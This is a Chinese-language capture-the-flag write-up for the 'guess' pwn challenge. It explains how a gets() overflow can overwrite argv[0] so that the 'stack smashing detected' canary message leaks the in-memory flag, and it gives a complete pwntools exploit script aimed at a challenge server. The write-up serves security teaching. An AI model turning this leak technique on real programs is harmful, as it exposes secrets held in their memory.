guess-pwn100
0x00 检查程序开启的保护机制
1 | $ checksec guess |
我们可以看到程序开启了Partial RELRO
(部分重定位只读),在这种情况下,.dynamic段
是不可写的,.got.plt段
(GOT表)是可写的。又开启了Canary
检测是否有栈溢出
,开启了NX(DEP)
使堆栈
上的代码不可执行。
0x10 静态分析
首先,这是一个64位
的ELF
可执行程序。我们使用IDA
反汇编此文件,并用反编译插件得到主函数的伪代码
如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53signed __int64 __fastcall main(__int64 argc, char **argv, char **env)
{
int i; // [rsp+8h] [rbp-58h]
int j; // [rsp+8h] [rbp-58h]
signed int mark; // [rsp+Ch] [rbp-54h]
int current_position; // [rsp+10h] [rbp-50h]
FILE *stream; // [rsp+18h] [rbp-48h]
char input_flag[40]; // [rsp+20h] [rbp-40h]
unsigned __int64 canary; // [rsp+48h] [rbp-18h]
canary = __readfsqword(0x28u);
stream = fopen("flag", "r");
if ( !stream ) // 打开失败
return 0xFFFFFFFFLL;
setvbuf(stdin, 0LL, 2, 0LL); // 关闭缓冲
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(60u);
// 设置流 stream 的文件位置为给定的偏移 offset,参数 offset 意味着从给定的 whence 位置查找的字节数。
fseek(stream, 0LL, 2); // SEEK_END = 2
current_position = ftell(stream); // 返回给定流 stream 的当前文件位置。
fseek(stream, 0LL, 0);
fgets(&str, current_position + 1, stream);
fclose(stream);
puts("please guess the flag:");
gets(input_flag); // 输入flag,存在溢出
if ( current_position != (unsigned int)strlen(input_flag) )// 验证flag长度
{
puts("len error");
exit(0);
}
if ( memcmp(input_flag, "ZCTF{", 5uLL) ) // 验证flag开头
{
puts("flag is start with ZCTF{");
exit(0);
}
for ( i = 0; i < current_position; ++i ) // 输入的flag和真正的flag进行异或
*(&str + i) ^= input_flag[i];
mark = 1;
for ( j = 0; j < current_position; ++j ) // 如果输入的flag正确,则异或结果全部为0
{
if ( *(&str + j) )
{
mark = 0;
break;
}
}
if ( mark )
puts("you are right");
else
puts("you are wrong");
return 0LL;
}
我们可以看出整个程序的逻辑
是这样的。首先,读取
当前文件夹下的flag文件
,从这个文件中读出真正的flag
、以及flag的长度
。然后提示用户输入flag,程序先验证用户输入的flag的长度
是否正确,再将用户输入的flag
与flag文件中读出的flag
进行异或
,根据异或的结果
判断输入的flag
是否是正确的flag
。如果异或的结果
每一个字节都为"\x00"
,则输入的flag正确
。反之,则不正确。
0x20 编写exp
0x21 Stack Smashing Protector
Stack Smashing Protector
是一种众所周知的针对基于栈的内存损坏的缓解措施
(例如:连续的缓冲区溢出)。也就是常说的Canary
。
我们可以在编译程序的时候使用“–fstack-protector”
或“–fstack-protector-all”
开启它,使用“–fno-stack-protector”
关闭它。
0x22 开启了Stack Smashing Protector的程序特征
开启了Stack Smashing Protector
的程序会在函数序言
和函数尾声
添加一些汇编代码,如下所示:
函数序言:
1
2
3
4
5
6
7.text:000000000040096D push rbp
.text:000000000040096E mov rbp, rsp
.text:0000000000400971 push rbx
.text:0000000000400972 sub rsp, 58h
.text:0000000000400976 mov rax, fs:28h -|
.text:000000000040097F mov [rbp+canary], rax |向栈中写入Canary
.text:0000000000400983 xor eax, eax -|
函数尾声:
1
2
3
4
5
6
7
8
9
10.text:0000000000400B6F loc_400B6F:
.text:0000000000400B6F mov rbx, [rbp+canary] -|
.text:0000000000400B73 xor rbx, fs:28h |验证栈中的Canary
.text:0000000000400B7C jz short loc_400B83 |是否被修改
.text:0000000000400B7E call ___stack_chk_fail -|
.text:0000000000400B83 loc_400B83:
.text:0000000000400B83 add rsp, 58h
.text:0000000000400B87 pop rbx
.text:0000000000400B88 pop rbp
.text:0000000000400B89 retn
fs:28h
中的值是随机的
,每次程序启动都会不同,但在某次程序运行过程中
,它是不会改变的。Canary
在栈中的位置,一般是在函数栈帧
的ebp/rbp的上方
(低地址处)。当函数执行完功能后,会验证栈上的Canary
是否被修改。如果被修改
,会调用__stack_chk_fail()
函数,__stack_chk_fail()函数内容如下:1
2
3
4
5
6void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
我们可以看到__stack_chk_fail()
函数又调用了__fortify_fail()
函数,其内容如下:1
2
3
4
5
6
7
8
9
10
11void
__attribute__ ((noreturn))
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)
msg
的内容为“stack smashing detected”
,__libc_argv[0]
的内容为当前运行程序
的名称字符串
。所以,如果栈溢出
覆盖了Canary
,则会输出以下字符串:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16**************************************
test.c
gcc test.c –fstack-protector -o test
**************************************
int main()
{
char str[10];
gets(str);
}
-------------------------------------------------------------
$ ./test
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./test terminated
[1] 47585 abort (core dumped) ./test
0x23 利用Stack Smashing Protector泄露信息
如果将__libc_argv[0]
中的字符串指针
覆盖为要泄露的信息的地址
,就可以泄露出想要泄露出的信息
。
利用思路:
1、构造
满足条件
(flag开头为ZCTF{)的不同长度
的flag字符串,通过返回信息
,来判断是否为正确的flag的长度
。2、泄露出
正确flag的长度
后,构造满足条件
(flag开头为ZCTF{)及正确长度
的flag,并用“\x00”
作为flag字符串的结束,绕过flag长度的验证
。然后,继续覆盖至main函数
的参数argv[0]
,将其覆盖为&str+0x5
(&str为存储真实flag的地址)。因为前5个字节“ZCTF{”
相同,所以,异或后的结果
为“\x00”
,只能从第6字节开始泄露。3、
异或
在异或双方不同情况下是可逆的
,所以我们需要选取一个不在
正确flag中的字母,与正确flag
的每一个字符进行异或
。泄露出异或后的结果字符串
后,再用相同的字母
进行一次异或
,就可以得到正确的flag
。如果选取正确flag中的字符
,异或后结果为“\x00”
,泄漏时会造成“\x00”截断
。我们需要不断尝试,找到一个合适的异或数
。这里选用“b”
。
完整exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87# Author:Sp4n9x
# -*- coding:utf-8 -*-
# 测试Flag: ZCTF{welcome_to_zctf,i_love_you}
from pwn import *
context.clear()
# context.log_level = 'debug'
context.binary ='./guess'
context = {'arch':'amd64','bits':'64','endian':'little','os':'linux'}
'''
bp 0x40096D,main函数起始地址
bp 0x400A2F,ftell()函数调用地址
bp 0x400A61,fgets()函数调用地址
bp 0x400A83,gets()函数调用地址
'''
def get_io():
if args['REMOTE']:
io = remote('220.249.52.133',34604)
else:
if debug:
io = gdb.debug('./guess','''
bp 0x40096D
bp 0x400A2F
bp 0x400A61
bp 0x400A83''')
else:
io = process('./guess')
return io
def str_to_hex(str):
return ''.join(['\\x' + '%02X' % ord(c) for c in str])
def xor(io,result):
flag = ''
for i in result:
flag += chr(ord(i)^ord('b'))
print "Flag: ZCTF{%s"%flag
def leak_len(io,length):
io.recvuntil("please guess the flag:\n")
flag_addr = 0x6010C0
payload = 'A'*length + "\x00"
io.writeline(payload)
result = io.recvuntil('\n')
print result
if "len error" in result:
return False
return True
def pwn(io,length):
io.recvuntil("please guess the flag:\n")
flag_addr = 0x6010C0 + 5
payload = "ZCTF{"
payload = payload.ljust(length,'b')
payload += "\x00"
payload = payload.ljust(0x7fffffffddb8 - 0x7fffffffdc90,'A')
payload += p64(flag_addr)
io.writeline(payload)
io.recvuntil("*** stack smashing detected ***: ")
result = io.recvline()
print result
print str_to_hex(result[0:27]) + result[27:-1] + str_to_hex(result[-1:])
result = result.split(' terminated\n')[0]
print str_to_hex(result)
xor(io,result)
io.interactive()
if __name__ == '__main__':
debug = 0 # debug = 1表示进行调试
mark = 0 # mark = 1表示泄露flag长度
if mark:
for i in range(5,256):
print "*********************Start*********************"
io = get_io()
print "length:",i
if leak_len(io,i) == True:
exit(0)
else:
io.close()
print "**********************End**********************"
else:
length = 32
io = get_io()
pwn(io,length)